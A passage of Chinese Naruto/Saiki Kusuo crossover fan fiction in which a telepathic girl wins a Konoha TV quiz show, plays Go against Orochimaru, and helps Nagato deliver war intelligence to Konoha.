那也挺好,身为美少女就是要有成为亮色的自觉嘛。 她的鼻子都要翘起来了。 录制在下午开始,她现在的任务主要是录制赛前的宣传片和单人的照片。 虽然有些僵硬,但是她还是好好完成了。 然后就被一个人丢在了化妆间内。 ‘马上要开始录制了,要么还是先奖励自己一个咖啡果冻吧。’ 手指痒痒,她捧起了一枚咖啡果冻,打开了之后幸福的尝了一口。 ‘啊,真的好吃啊。’连思维都要融化掉了,果然糖分才是最美好的。 她正想着,忽而听到一个略微熟悉的声音。 “你就是……栗子?” 咔嚓一声,挖取咖啡果冻的塑料勺断了。 ----------------- 红色头发的长门有些怔然地望着木叶宏伟的火影岩,蓦然回神。 ‘不对,我的任务不是这个。’ 他躲在树叶的阴影之中,拿出忍具包中的小小塑料瓶。 里面盛着透明的液体,内有一根小小的木刺。 “去吧,长门,去找到她,将这件事告诉她。” 泉奈大人说着,将这个像是临时制作的塑料瓶给了他。 他口中所说的“她”,自然是一举占领雨隐村,而后又时不时出现的女忍者“栗子”。 她虽看起来年幼,却拥有着无可睥睨的力量。 在占领雨隐村的一周后,山椒鱼半藏并未将她说要“检查作业”的话当回事,可弥彦却认真起来。 “长门,你见到那股力量了吗?只要我们能说服她,那么,忍界就真的有可能平定!” 自己善良开朗的挚友眼睛里像是燃起了熊熊火焰,长门一时语塞。 他还在思考栗子的话,那就是不能将责任全部推给弥彦,可是他的行动如同乌龟——太慢了。 看着弥彦和伙伴们激烈讨论着,而后钻研出一份“报告”,他还是未能想出任何有建设性的提议,只能和其他人一起听栗子的评判。 “啊……不行,完全不行。只考虑忍者的事,难不成你们是能种大米吗?……别说任务委托,民众没钱,谁来委托任务?你们难道要像是山椒鱼半藏一样依靠剥削吗?” 栗子的声音冷静而淡定,一听就像是受过良好的教育,将弥彦手中报告的问题一一指出。 “至于解决方法,我是能够解决,但是,那种解法,对普通人,甚至忍者们又有什么参考作用吗?” 长门无法得知那张黑白面具下的面容,是否和那声音一样冷漠。 但是至少,在得知有晓将一批群众聚集过来,却没有地方安置之时,栗子确实出手了。 操纵着泥土和火龙,将雨隐村的原本构造挪移,而后在中间圈出一片方型的地,造出高大的铅灰色建筑。 她甚至又将自己最初建造的那个高大又怪异的铠甲人往后挪移了一番。 这还不是极限。 “这里都是雨水,不利于移居工作吧,那么……” 她抬起了手,一束光线冲破了厚重的云层,打出一个完美的圆。 天光乍现,几乎让人觉得有些刺眼。 “仅此一月,快点将这里整顿清楚。” 她说着,消失不见。 可在那一刻,她给人的认知却永久固定了下来。 栗子,是神。 长门当然不相信栗子是神,但是她确实强大到无所不能,无论是力量,还是心灵,似乎都是如此。 就在雨隐村一边整理,一边努力完成“神”所留下的任务之时。 边境线上却突然传来消息,岩隐村的忍者似乎有向着雨之国进发的意图。 晓组织的成员还有些懵然,泉奈大人却已经拿到了情报。 “他们的目标是木叶。” 这个情报让还未安定的雨隐村喧哗起来,有的忍者认为应该告知木叶,有的忍者却更进一步,认为应该阻止他们。 长门知道他们的信心由何而来,那是因为栗子。 可是……栗子真的 会帮助雨隐村吗? 他正在迟疑之际,就见到了泉奈大人递出的水瓶。 “去吧,长门,去找到她,将这件事告诉她。” “嗯?我和小南也可以去!”弥彦努力争取,却见泉奈大人转过头,“你们的实力还不够,而长门……可以依靠一些小技巧,进入木叶的结界。” 他是指轮回眼。 长门知道这一点,即刻就赶了过来。 顺着木刺指引的方向,钻入写有“电视台”字样的建筑之中,而后在化妆间里,堵住了一个正在吃咖啡果冻的小女孩。 “栗子?”长门不由得出声,只是看到对方粉色的头发,纤细的四肢,精致的服饰和妆容之后,他低下头,“不好意思,我认错了。” 他转身欲走,原本被他打开的窗户却突然关上,窗帘“刺啦”一声锁住了外面所有的光线。 心脏咚咚跳了起来,他的身体忽而不能动作,眼前各类的物件,在昏暗的房间中散发出莹莹微光,浮动于空中。 他惊愕地微微睁大了眼睛,听见“啪嗒”一声,所有的东西都归于原位,再转过身,那原本应该断裂的塑料勺都恢复了原样,随着那少女的手部动作屈伸着。 “呀嘞呀嘞,是泉奈的自作主张吧?到底出了什么事呢?长门?” 熟悉的声音,能够再次动作的身体让长门猛地醒悟。 眼前这个真的看起来颇为年幼,有着粉色短发,面无表情却又显得无比精致的女孩,就是那个无所不能的栗子啊。 ----------------- ‘虽然很感激你在心里夸我,但是该是说正事的时候了吧?’ 楠子的手指动了动,蹙起眉,用略微严厉的语气说:“到底有什么事?” 原本以为长门会生气,没想到他只是皱皱眉,就立马快速道:“是泉奈大人得到了情报,岩隐村率领着忍者准备突袭木叶。他们原本就已经快速接近,估计路程也就比我晚一天!泉奈大人,让我将这个情报告诉你。” ‘突袭……木叶?’楠子看了一眼长门。 心灵感应的范围,已经自然铺陈出来。 说起来,随着年岁的增长,她的心灵感应已经可以覆盖整个忍界。 但是为了避免大脑超载,以及过度吵闹所带来的坏脾气,她还是将范围缩小,音量调低。 这本应该很困难,不过这个世界运用力量的法则颇为灵活,也让她的限制小了许多。 ‘岩隐村的忍者,朝着木叶而来的。’ 简单的心灵定位,她在一片泥淖中找到了那些忍者,而后是捂住了面容,使出千里眼。 那是一组高达70余人的忍者大队,错落前来,没在雨之国的湿地上激起一丝水花。 楠子蹙了蹙眉,收回了千里眼。 她思考着,长门依然焦急。 “怎么办?要将这件事告诉木叶吗?” 当然,问题是告知的方式。 楠子转过眼来,看向了长门。 她不想说晓组织的忍者都是乌合之众,但是想想看吧,其中不到二十,依旧有着少年青涩感的弥彦、小南和长门,反而是晓组织的领头人。 他们……还需要成长。 只是,泉奈又是如何想的呢?竟然将长门支派到了她的面前。 ‘这是在给我出题,还是在给长门出题呢?’ 她想着,终于出声:“那么,长门,你觉得呢?” 20. 初战 楠子冷静审视着长门。 她曾经听说过关于长门的事,他之所以失去父母而后流落成孤儿,正是因木叶。 原本以为这应该是个艰难的决定才对,可没想到长门只把这当做了一种考较。 【是在考验我吗?】 他肃下神色,当即说:“我认为应当。我们建立晓的目标就是不再有战争。如果对这样的战争意图视而不见,那么我们的组织也没有了意义。” ‘呀嘞呀嘞,即便实力不够,也这样想吗?’ 无论是弥彦、小南,还是晓组织的其他忍者,楠子都能从中听到关于“和平”啊,“希望”啊,“信念”啊之类的心声,但是要让楠子说,那也太过于热血了,热血到这个世界似乎根本容不下。 但是,在听到长门如此坚定地一瞬间,楠子还是十分欢欣,而后又因为这欢欣冷静下来。 ‘不行阿,如果我也变成了热血笨蛋,晓就真完了。’ 身为晓的赞助人,她必须要从晓的利益出发去看。 这件事当然是要告诉木叶的,但是她……或者说晓,能从中获取什么呢? 可惜她现在没有时间。 大脑活动起来,只需要一秒,她就做出了决定。 “你去办着试试看吧,长门。” “什么?” 楠子站起身,红色的长裙就像是血液在汩动流淌,她面无表情,对长门说:“让我看看你的器量,去用这个消息,向木叶换取最大的利益与支持。” “呃!” 见到长门呆愣在原地,乃至心声都隐没下来。 楠子不由得微微勾起了嘴角,“怎么?如果连这都做不到的话,你们的梦想,可遥遥无期了啊。” ----------------- ‘呀嘞呀嘞,说我的笑容像是反派也太过分了。’ 直到站到了舞台上,她依旧有点耿耿于怀。 这个演播厅并不算大,身后是华丽的布景,摆放着5个可移动的答题台,答题台的正对面则是巨大的屏幕和几台摄影机。 “A组的选手,请在这里等待,等到叫到名字之后,就从这里上台就行。” 楠子连同另外4位选手点头。 这次的选手一共10位,被分成A、B两组,每组五位,两轮过后,积分最高的两位进入半决赛。 半决赛的四位选手需要争夺决赛的两个名额,决赛则会再进行比赛,比出冠军。 经过早先的介绍,楠子早就知道了评委,讲解员和观众加油团会在另外一个演播室。 只是她有些意外,观众台上坐着的居然只有野乃宇和旗木朔茂。 ‘卡卡西不在吗?’ 她分了一丝心神去听,花费不到一秒就定位到了卡卡西的心声。 【怎么会在这种时间召集,可恶,没法帮楠子加油,她会不会生气?】 他所说的召集,应该是因为长门带来的消息吧。 ‘呀嘞呀嘞,居然是我自作自受了。’ 楠子虚下眼,忽然有些紧张。 查克拉什么的她是真的不懂啊,既然出现在题库当中,就肯定至少有一道那样的题,这里到底还有没有可以帮忙作弊的忍…… 她将自己的心灵感应和绝对听力都调大了“音量”。 万千种声音顿时汇聚而来。 “请看大屏幕!让我们欢迎木叶三忍之一,大蛇丸大人莅临指导!嘿嘿,大家都很意外吧!哎呀,没想到大蛇丸大人您居然会参加这个节目呢!”主持人的声音很洪亮,轻易传到了楠子的耳中。 ‘什么?大蛇丸?’ 楠子抬起了头,神色颇为讶异。 就在答题桌对面的大屏幕上,出现了另外一边演播室的图像。 面前一条长桌,坐在正中间的正是前些天还在因诱拐小孩成功而得意洋洋的大蛇丸。 他的面容是不正常的苍白,紫色的眼影显得无比诡异,勾玉似的耳坠在摄影棚的灯光下莹莹闪光,眼睛都笑得眯起。 “呵,原本是不想来的,但是听说这里有很多聪慧的后辈,做为木叶的前辈,我也想要见识一下这些后辈的惊艳表现呢。” 【真是无聊,居然要将时间滥用到这种事情上。】 在大蛇丸言不由衷地寒暄时,楠子清晰地听见了对方的心声。 ‘长门汇报情报的事,居然没有通知大蛇丸吗?’ 她确实也觉得大蛇丸在这里是浪费时间。 哪怕再怎么鄙夷对方的人品和道德,但是齐木楠子也得给对方的智慧数值一个“夯”。 而这个节目说是《最强头脑战》,实际上大部分都还是平民的自娱自乐,唯一可以说的上是劲敌的就只有一个。 那就是B组的奈良鹿行。 至于为什么…… 她眯起了眼睛,正想吐槽,就听见了主持人叫自己姓名的声音。 “集才华与美貌于一身,神所钟爱的少女,木叶小学毕业生,齐木楠子!” 楠子的眼角跳了一下。 ‘呀嘞呀嘞,这么尬的解说词,究竟是谁写的啊。’ ----------------- 【齐木楠子?呵,这个解说词真是……】 大蛇丸眯起了那双金色的蛇瞳,看着他正对面的大屏幕。 如同楠子那边大屏幕会显示题目或者这边的画面,他们这边的大屏幕则会显示出选手答题的情况,以便他们点评探讨。 此时画面中出现的正是齐木楠子。 她一身和风洋装显得静雅贤淑,连脸上的神情也显得柔和了几分。 只是还带着那副平光镜,像是个书呆子一样。 这样想着,大蛇丸的嘴角却没有泄露一丝嘲讽。 作为药师兜的介绍人,他当然也了解过齐木楠子的事。 她是木叶孤儿院第一位考入木叶小学的“天才”,但也仅此为止了。 连三身术都不会,又有什么能值得期待的呢? “问题一:五大隐村之外,说出三个拥有血继限界专属族群、且不属于五大国管辖的独立忍者村落。答题开始!” 【答案当然是星隐村、草隐村、泷隐村,但他们肯定没人答得上来吧?】 大蛇丸脑中揶揄,嘴上却带着苦恼的笑意,淡然说到:“哎呀,第一道题有些偏了呀。” 他身后的搞笑艺人凑趣道:“那么,大蛇丸大人,您的意思是,这道题应该不会有人答对是吗?” “当然!”大蛇丸点头,“关于血继限界,许多忍者 都不一定知道,对于这些选手来说,根本不可能答……” “齐木选手!答对了!”大屏幕中,主持人几乎是嘶吼出声。 大蛇丸猛地睁开眼睛,身后的搞笑艺人却说:“啊!居然答对了呐,应该是瞎猜的吧!” “啊,应、应该是吧。” 是野乃宇提到过得?又或者旗木朔茂? 大蛇丸脑子里急速旋转,紧盯着屏幕,就见齐木楠子顿了一下,面无表情。 “我瞎猜的。” “哎呀,居然真的是瞎猜的呢!”大蛇丸干笑起来,只是下一秒,眼睛里就闪过冷意。 【这只是碰巧而已,绝对只是碰巧!】 屏幕里传来声音,“问题二:等差数列:3,10,17,24,…求第100项,答题开始!” 又有另外一个人询问:“大蛇丸大人,这是?” “这是等差数列的题,”大蛇丸侃侃而谈,“这个能算出来,但是重点是我们限制了时间,所以也很难。” “答对了!又是率先写出答案的齐木楠子选手!” 大蛇丸的嘴角抽了一下,金色的兽瞳盯向了画面中的齐木楠子。 “我比较擅长数学。”她平静地讲出了解题思路。 而后是第二道,第三道,第四道…… 逻辑、冷知识、文史、地理、忍者知识…… 似乎除了查克拉和忍术相关的题,没有什么能难倒她。 可是,大蛇丸脑海中却跳出一个想法。 【她在控分!】 若说为什么,除了直觉以外,他知道木叶小学的教材里有什么,哪怕不会忍术,身为木叶毕业生的齐木楠子也绝对应该知道答案! 大蛇丸的神色渐渐郑重,看着齐木楠子以第二名的成绩突破至半决赛。 “天呐!齐木选手,没想到居然是你进入了半决赛啊!”主持人夸张地喊道,“如果你是忍者的话,我都要怀疑你有什么奇妙的忍术了!” “只是每种知识都略微了解过一点而已。”齐木楠子貌似很谦虚。 主持人又问:“可你才十二岁吧?就能记下来那么多知识吗?” “嗯,这大概就是多读书的好处吧?” 【呵?多读书的好处?】大蛇丸心中冷笑。 要是只是多读书,就能有强大的计算能力和逻辑分析能力,那么自来也的那个弟子,早就成和他一样的学者了吧? 他没有再去深想,B组除了奈良鹿行,没有什么值得注意的人物。 于是在休息了一段时间之后,齐木楠子和奈良鹿行,以及其他两位选手,就站在了半决赛的答题台前。 “大蛇丸大人,看了方才的表现,您觉得,谁能率先进入决赛呢?”主持人用那激昂的语调询问着。 大蛇丸此刻已经有些走神,但是这完全不妨碍他一心二用。 “啊,我觉得奈良鹿行选手很值得期待呢。当然,还有齐木选手。” 主持人很是意外,“您居然看好齐木选手吗?她只有十二岁呢!” 【就是因为只有十二岁,所以那样年轻的大脑才值得期待啊。】 大蛇丸眯起了眼睛,嘴角的笑意越发深刻,“谁知道呢?就看……她的大脑,是否真的那样优秀吧!” 21.半决赛 ‘呀嘞呀嘞,就算是被你夸,我也不会觉得开心啊。’ 站在答题台前,楠子木然地目视前方。 身边忽然传来一个极其细小的声音。 “你第一轮是在控分吧?……别这样看我,那都是木叶小学教材里的内容,不是吗?” 楠子动作一顿,看向了对方。 奈良鹿行,说起来好像还是前两届的学长。 ‘抱歉啊……虽然教过,但是我对于自己无法实践的东西,就是怎么都弄不懂。’ 楠子想着。 但是说她控分也不过分,毕竟那些题大蛇丸看到的时候,脑海里就已经跳出了答案,但是楠子却没有写下来。 险险获得第一就行,不用那么惊世骇俗。 “呵,不回答吗?下面的题可就不会允许你那么轻松了啊。” 楠子目移,‘不啊……其实,接下来的题才是我擅长的。’ 记忆翻牌连连看,同时计算两组数学公式,快速数出不规则的立方体数量,计算难度超高的数学题…… 如果在这种题上失手,那她的大脑就真的坏掉了,毕竟,只要她想,就可以将自己的思维瞬间加快,甚至可以做到接近时停的效果。 当然,时停也是可以的,只是那就有点过分了。 笔尖在答题板上一点。 她翻开了自己的题板,上面工整地写着“17.5米。”。 “天呐!这道题,居然只有齐木选手一个人答对了吗?!” 主持人的声音越发响亮。 摄影机停留在了她的脸上,楠子微微一顿,“我只是比较擅长数学。” “是啊。”主持人像是恍然,“但是这已经不是擅长的程度了吧摔!好啦!各位观众,现在,进入决赛的就是数字精灵齐木楠子和思维王子奈良鹿行!冠军和奖金将落入谁手,让我们拭目以待!广告后再见!” ‘呀嘞呀嘞,这个绰号也太尬了吧。’齐木楠子在制片导演的要求下冲着镜头挥手,但是她分明注意到了身边奈良鹿行过于强烈的视线。 ‘不要用这种好像是生死仇敌一般的目光看我啊。’ 她虚着眼,在奈良鹿行开口前就离开了答题台。 “啊,好累,还是回化妆室吧。” 走回化妆室的路上,她终于将大脑的速度调回了正常的数值,而后分出一些心神,去“看”长门那边发生的事。 ‘呃?怎么会这样……’ 她虚下眼,深深叹了口气。 ----------------- 长门今日不走运,或者说,他就没有资格走运。 很小的年纪就成为了孤儿,所有的教育都来源于生活和自来也教导的那三年。 可是自来也根本没教,也没法教他怎么应对别国的忍者。 出现在火影大楼,逼得暗部忍者拉响紧报,要求求见火影,却得知对方不在。 现在对面的两位老人,据说就是木叶的支柱。 他紧张到咽口水,但是又强自忍住,说:“我是雨隐村的忍者,我的名字是长门。” “长门?”水户门炎的神色有些微妙,“未打招呼,就进入别的村子,被当作敌人杀死也不为过。” 见到震慑到对方,他才继续说:“说吧,你到这里来,有什么目的?” ‘目的?’ 水门的手微微握紧。 自从方才栗子发出了“课题”之后,他就一直在思考,面对木叶的忍者,他应该说些什么,做些什么。 可是他不是弥彦,并没有那样精湛的口才,也不能思考出自己应该取得些什么。 他还太年轻了,才不过十六、七岁,还正是成长的时候。 即便如此,长门依旧沉下脸,努力不坠晓的威风,“我是晓的忍者,我们的目标是……” “行了吧。”转寝小春面露刻薄,“我知道晓,一个扮家家酒的组织而已,你来到底……” “我们不是在办家家酒,我们的目的是来阻止战争!”长门反驳道。 战争? 听到这个词,水户门炎和转寝小春隐秘地对视了一眼,余光一扫,立马有暗部的忍者去汇集情报。 长门发现了,可他根本不知道这个举动是意味着什么。 他依旧和两位老人纠缠着,没发现对方就是溜着他兜圈子而已。 待到两人了解到以为是孩童游戏的晓居然颠覆了雨隐村,并因此而震动的时候,大门忽而打开。 一个金发忍者携卷着威势,大踏步走了进来,而他的身后紧跟着一个灰发的覆面少年,警惕地扫过屋内的红发忍者。 “是岩隐村。”波风水门的目光落在了面露震动的长门身上,又转回了水户门炎和转寝小春,“我已经去查探过了。” “多少人。” “70多个吧。” “你没有杀死他们吗?” “……他们还在雨之国境内,我并不认为这是出击的时候。” “哼!妇人之仁!”水户门炎冷哼着,惹得转寝小春冷淡地一撇。 这位同样年长的女忍者缓下神色,“水门,三代和大部分忍者部队都前往了边境防备水之国。就由你带着你的小队出发吧?至于你……” 她落在长门身上的目光忽的一厉,“就先留下吧?” 长门惊愕地睁大了眼睛,“什么!” 而远在电视台,齐木楠子已经半阖上眼,叹了口气。 ‘呀嘞呀嘞,果然搞砸了啊。不过没关系,只要不死,总有办法解决。’ 喇叭里传来声音:“请选手到摄影棚候场!” 她站起身,走了出去。 ----------------- 大蛇丸的眼皮直跳。 ‘原来如此,原来这才是让我来的原因呀。’ “大蛇丸大人,真的拜托您了!这100万两是小鹿制药的赞助!如果奈良家的公子能赢得这笔奖金,不是正好不过吗?!” 节目制作人双手合十,明明是个中年人,眼睛却试图释放“pikapika”的光线。 ‘哎呦,眼都要瞎了。’大蛇丸扭过了头。 现在的比赛局势已经很明了了,齐木楠子不是之前所有人以为的花瓶,说实话,如果她早就显露出这样的实力,制作人一定不会现在就把她加入比赛,而是放到第二届去。 第一届奈良家的公子得胜引发争论,第二届就由木叶的平民少女获胜证明没有黑幕。 多好的剧本啊!现在却让两个人碰到了一起,制作人心疼得直抽抽。 殊不知就是他这样的想法,才让楠子同意了扮花瓶。 可是奈良家的公子来参加比赛,真的是为了回收这笔赞助的吗? ‘不可能。’大蛇丸心知肚明,可他也不可能在这种时候提点这个制作人,反而似是为难道:“你的意思,难不成是要透题吗?” “不!当然不!那有损公平!” ‘公平?’大蛇丸的嘴角几乎都要抽搐起来。 现在不正是这个人求着他让他阻止齐木楠子夺冠吗? 可制作人很快讲解起来:“接下来的题目都有不同的分值,就算是齐木选手也不可能都拿到分数,最后一道,我们想改成和您对战?” “对战?”大蛇丸的神情越发微妙了。 “对!”制作人兴奋到不能自己,“两位选手和您下围棋快棋!15分钟后比较两人留下的子,谁的比较多,就能获得200分!您只需要在15分钟内提走齐木 楠子的棋子就行了!这很简单吧!” “呃……” 围棋?大蛇丸确实会围棋。 忍界的娱乐并不算多,只要有些家世的,都会通过学习围棋或象棋锻炼思维。 大蛇丸年轻的时候,也曾学习过这种棋类,来锻炼思维。 甚至,他颇善此道,也确实是在奈良鹿行的简历上看到对方是青少年围棋比赛的冠军选手。 围棋的话,比象棋的变化更多。 两人各执黑白,一旦自己的棋被堵死,那么就会被“提走”,最后会根据在棋盘上留下的棋子数量来判断输赢。 ‘如果不是我也很擅长的话,说不定会在这里翻车呢。’ “我们智冠天下、博古通今、运筹帷幄、明察秋毫的大蛇丸大人一定可以的吧!嗯?大家说呢?!” “嗯!一定可以的!”周围的工作人员们一起“pikapika”。 “啊哈哈……”大蛇丸干笑起来,只是转过脸,神色就是一沉。 ‘居然把我当傻瓜在哄啊。’ 穿过电视台的走廊,他转过眼,转角处,齐木楠子刚好路过,注意到他的目光,迟了一秒,才深深鞠躬,而在她的身后,那个奈良鹿行似乎正着急说着些什么,见到他,也是立即行礼。 他眯了眯眼,没有作声。 比赛的进展如同制作人的预料。 在见识到第二轮的记忆、逻辑、推理能力测试之后,他就未曾将齐木楠子当做普通的十二岁女孩来看待。 此时此刻,连“成建制的忍者部队一般被分为什么类型,说出理由。”这种超纲的题都已经出出来了,但是唯一难倒齐木楠子的反而是“若提炼查克拉时精神能量占比60%、身体能量占比40%,偏向什么类型忍术”这种题。 到了最后一轮,齐木楠子的分数为390分,奈良鹿行的分数则是300分。 任谁都看得出来奈良鹿行的脸色有些难看,但那并不是妒忌或者其他,只是真的想要胜利。 “最后一题!让我们有请木叶三忍之一的大蛇丸大人,为两位选手出题!” 主持人大声叫着,面对摄像机露出夸张的表情。 “没想到吧!没想到吧!居然是大蛇丸大人!他将作为对手,和两位选手进行围棋对战!只要谁最后留下的棋子多,就能获得200分喔!” 听到200分,观众都是一静,继而又喧闹起来。 他们在看热闹,大蛇丸却觉得面上无光。 【我的才能,居然被用在这种事情上……】 他在心中嘟哝,却对上了齐木楠子淡然的眼神。 她瞥了他一眼,就转过头去,嘴角不知为何,居然抿出了一点儿笑意。 【啊啊,居然还在笑呢,真是单纯啊。】 他心里想着,看着在主持人的指挥下,齐木楠子毫无意外地选择了后手。 奈良鹿行先上了台。 他神色凝重,以为自己真的将胜负都赌在了这一局上。 【年轻,真年轻。】大蛇丸感叹着。 大蛇丸淡然处之,有几次机会可以围杀对方的棋子,都被他轻易放过。 “黑棋45颗!我给大家科普一下!对于快棋来说,这已经是很多的数目了!尤其还在大蛇丸大人的压制之下,难道奈良选手真的要反败为胜了吗?!” 主持人声嘶力竭,看向楠子,“齐木选手,一定很紧张吧。” “嘛,我的心脏扑通扑通跳个不停呢!” “心脏不跳那不是死了吗?”主持人瞪起了眼睛。 大蛇丸冷眼看着齐木楠子行礼,问好,落座,抬眼,一气呵成,嘴角也勾起笑意。 【呵,也好,就让你见识一下这个世界的黑暗吧。】 22.最强头脑王 ‘呀嘞呀嘞,大蛇丸,身为暗黑科学家,居然在这里,被人给用话框住了。’ 楠子其实已经“听”到,制作人根本无所谓她到底赢不赢,重要的是,在木叶极受欢迎,仅次于波风水门的黄金单身汉上场了! ‘通过私人关系,说服了担心弟子打光棍的三代,制作人,你还真是有一套啊。’ 她都不知道大蛇丸大人喜欢围棋呢。 之前见识到的,都是他身为忍者邪恶的一面,她倒是忘了,人都是有多面性的。 哪怕是值得千刀万剐的人,也会有那么一两个闪光点。 ‘要么,就在这里打败他,稍微给他一点教训呢?’ 她这样想着,可下一秒又删除了这样的想法。 ‘不了不了,还是保持低调吧。’ 她想着,抬手执黑棋。 第一手,天元。 ———— 天元? “天元”是棋盘正中央的位置,所谓“金角银边草肚皮”,这一手简直烂爆了。 大蛇丸抬眼看向楠子,嘴角的笑意几乎隐藏不住。 “齐木选手,你不会下围棋吗?” 楠子顿了一下,语气平淡,“怎么说呢,之前没有研究过。” “呵。”大蛇丸笑着摇头,却被楠子止住。 那双紫色的眼眸似乎洞察世事,让大蛇丸心中一突。 “这是快棋,我需要获得更多的‘子’,请您不要拖延了。” “嗯?”【真是可恶的小鬼。】 大蛇丸想着,认真起来。 演播室里顿时静得只剩清脆的落子之声,黑色和白色的棋子交织着,一子已落,另外一子也紧接着落下,快得连主持人都跟不上那速度,只能“哦哦!”吼叫着,充当气氛组。 再去看执棋的两人,粉发的少女神情淡漠,黑发的中年人眉宇自松弛,慢慢蹙紧,而后逐渐变得锐利。 大蛇丸的眼神不得不锐利。 如果可以,他的额角甚至想要流出冷汗。 这究竟是怎么回事? 【怎么会有人在他还未落子之时,就已经看向了下一步的落点呢?】 大蛇丸分出了一分心神去看,可他才想到,楠子就像是读到了他的心思一般,放慢了节奏,不再逼得那样紧。 可大蛇丸并未放松心神。 在方才与鹿行的比拼之中,他轻松写意,甚至还能分出心神去想想晚上要不要吃叉烧饭。 但楠子的从容令他觉得不安。 【啊……失误了。】他的心猛地一跳,【如果她下在那里的话,就会瞬间提走我一大片棋子……嗯?她居然没有下在那里?】 大蛇丸惊讶地看到楠子的手指像是虚晃一枪,划到了另外一个不重要的点位上。 这种事出现一次也就罢了,可是居然出现了两、三次。 下棋之间,他的目光迅速扫过棋盘。 【5、15、30……现在黑棋一共是35子。……等等,是因为现在如果把我杀崩了,即便赢了,她的棋子数也无法赢奈良鹿行吗?可恶,这是在蔑视谁啊?】 是的,这场比赛并不是比谁赢的快,比拼的是最终楠子和奈良鹿行在棋盘上留下的黑子数量。 所以,即便楠子现在已经可以“杀死”大蛇丸,赢得比赛,按照规则,她也未必能够赢下比赛。 意识到这一点后,大蛇丸的眼角狠狠一跳。 对面,齐木楠子的目光依旧清淡,像是什么都不在意,仿若所有事情都在她掌握之中一般。 【呵呵,瞧不起大人吗?怎么能让你如意?】大蛇丸嘴角勾起,不再松懈,【很好,我也该认真起来了。】 空气渐渐涌上肃杀的气息,观众那边旗木朔茂看着大屏幕中的影像,眉头微微皱起。 野乃宇也不由得担忧,“楠子……” 朔茂回过神,冲着野乃宇温柔一笑,“没事的,野乃宇,大蛇丸不会和楠子计较什么的。” 他说着,神色却变得严肃。 十五分钟过得极快,及至最后,棋盘上的三分之二都已经遍布棋子,黑白两色似是旗鼓相当。 只是楠子气息平顺,大蛇丸却微微喘息起来。 “时间结束了,承让。”楠子说着起身,而主持人这个时候已经猛地挥手! “46颗!居然只多了一颗!楠子选手获得了200分,这一届的头脑王,就是来自木叶孤儿院的齐木楠子!” “砰”得一声,彩带如同雪花般落下。 大蛇丸几乎是有些呆滞地看着齐木楠子走到了场中,开始发表获奖感言。 “在场的选手都非常的优秀,我也是险胜呢,也非常感谢大蛇丸大人的指导。” 【指导?】大蛇丸回过神,看到齐木楠子难得露出的笑容,心中几乎要呕出血了。 这究竟是怎么回事? 他眯起了眼睛,也露出了笑容。 “呵,通过这次比赛,我也了解了,现在木叶的后辈,还真是令人期待呢。恭喜你哦,齐·木·楠·子。” 那双蛇眸里似乎在说“我记住你了”。 ‘呀嘞呀嘞,还真是记仇了。’楠子转过眼,可是无论如何,她这次都不想失败。 无论是读心,还是超快的思维运行速度,她都不至于输在这里。 抱起了奖杯,她在镜头前露出了真心的笑容。 待到节目彻底拍摄结束,连制片人都高兴地拍了拍她的肩膀。 “奖金支票过几天就能兑换了,下次我们也会邀约你的哦。” “那我每次都会赢得100万两也没问题吗?” 听她这样说,制片人反而苦笑了,“那可不行了。” 楠子点了点头,目送着制片人走远,而后才迎上了野乃宇和旗木朔茂。 “楠子,恭喜!我都不知道你能获得第一。”野乃宇高兴地说。 “嗯,我也没想到呢。”她没说什么感谢大蛇丸手下留情的事,那局棋只要认真看过,就能发觉其中的不对。 而她现在还真没有学会如何演戏呢。 旗木朔茂也说恭喜,将手中的鲜花递上,这位父亲还记得给自己的儿子说好话呢。 “这是卡卡西送的哦,比起我们,他对你更有信心呢,只是临时有任务。” “任务?”楠子故作疑惑,“是需要出村吗?” “不知道啊。”旗木朔茂现在是真的什么都不知道。 “好的。”楠子应着,心灵感应像是丝线一般延伸,听到了红发忍者的心音。 【事情搞砸了,栗子会来收场吧。可是……这要怎么办才好?】 ‘嗯?这么信任我吗?’楠子有些讶异。 不过,这种信任,注定会被湮灭在时空的缝隙之中啊。 ----------------- 夜长梦多。 将花小心地安置在化妆间内,花费5分钟进行变身。 齐木楠子就变成了齐木楠雄,或者说“晓”。 ‘随着年岁增长,原本变身的2小时,也变成了5分钟了。再等几年,我就能无缝使用变身术了吧?……不对不对,我的野望怎能只是使用变身术。’ 晓扶正了自己的面具。 而后,将时间往前拨动,直到节目录制那天的早上。 长门正拿着一个水瓶,在木叶结界的外间张望。 “就是这里了,泉奈前辈说的缺口。” 按照泉奈前辈的话,只要在这里等到结界削弱的一瞬间,使用他所教的忍术进入即可。 可是,真的不会被抓住吗? 还有栗子,如果她是木叶的忍者,那么她帮助晓颠覆雨隐村,究竟是为什么? 难不成,是自来也老师…… 这次,泉奈前辈为什么要让我一个人来,弥彦不是更适合这份工作吗? 他垂下了眼睛,正有些不自信。 这也不怪他,他现在才十六、七岁,原本应该志得意满,意气风发,可是前段时间才被栗子的实力惊到,根本来不及养成骄矜的情绪。 ‘泉奈前辈说,一切交给栗子就好,这样真的可以吗?’ 他正思考着,身后却突然传来轻微的呼吸声,顿时像是炸了毛的猫一样跳了起来。 只是,那只是一个想法,因为在下一秒,他的肩膀就被轻轻按住。 那是一个年轻忍者,穿着黑色的羽织,里面则是暗灰色的衬衣和长裤,一头亮粉色的头发,潮到吓人。 他带着和栗子一样的面具,仰头看着他。 “你是长门?我是晓,你的来意,我已经清楚了。” ‘什么?!’长门万分惊愕,可是那张面具分明应该不是假的。他抿了抿唇,警惕道:“我需要找到栗子。” “她现在很忙。”那叫作……或者说,代号为“晓”的忍者随意地摆了一下手,“你找我也一样。说起来,你准备怎么找到她?” 长门原本不想回答,可是无疑,虽然听起来是男性,且身高要比栗子高一些,此刻晓的说话语调和神出鬼没的身手,确实和栗子如出一辙。 这样强大的忍者,木叶居然有两个吗?那为什么木叶不平定乱世? 心中闪现这样的想法,他犹豫着,拿出了泉奈给的水瓶,竖立着递给了对方。 ‘如果不是和泉奈大人有所沟通,那么他就不应该知道这个东西的作用吧?’ 他戒备着,却见那个少年歪了歪头,“居然是这样的用法吗?……还真是天才。” 少年说着接过,火焰随即将那水瓶连同里面的木刺和水一同蒸发干净。 “这……”长门愕然失语,却发现,这或许就是对方的证明。 没有结印,超高精度的火焰控制,这就是栗子的标准配置。 “你是来递送情报的吧?”少年的声音冷静,“那么,泉奈有什么其他嘱咐吗?” 长门找回了自己的声音,“……没有。” “那你有什么想法吗?” “……没有。” “一路上都没有想过?”少年的声音像是了然,又像是在讽刺。 长门绷紧了脸,正想说话,对方已经转过了身。 “那就由我来主导吧,你就充当护卫,可以吗?” 他张了张嘴,本来应该愤怒的,可是他心底却真的松了口气。 “好的。”他说着,准备观察结界,方便进入。 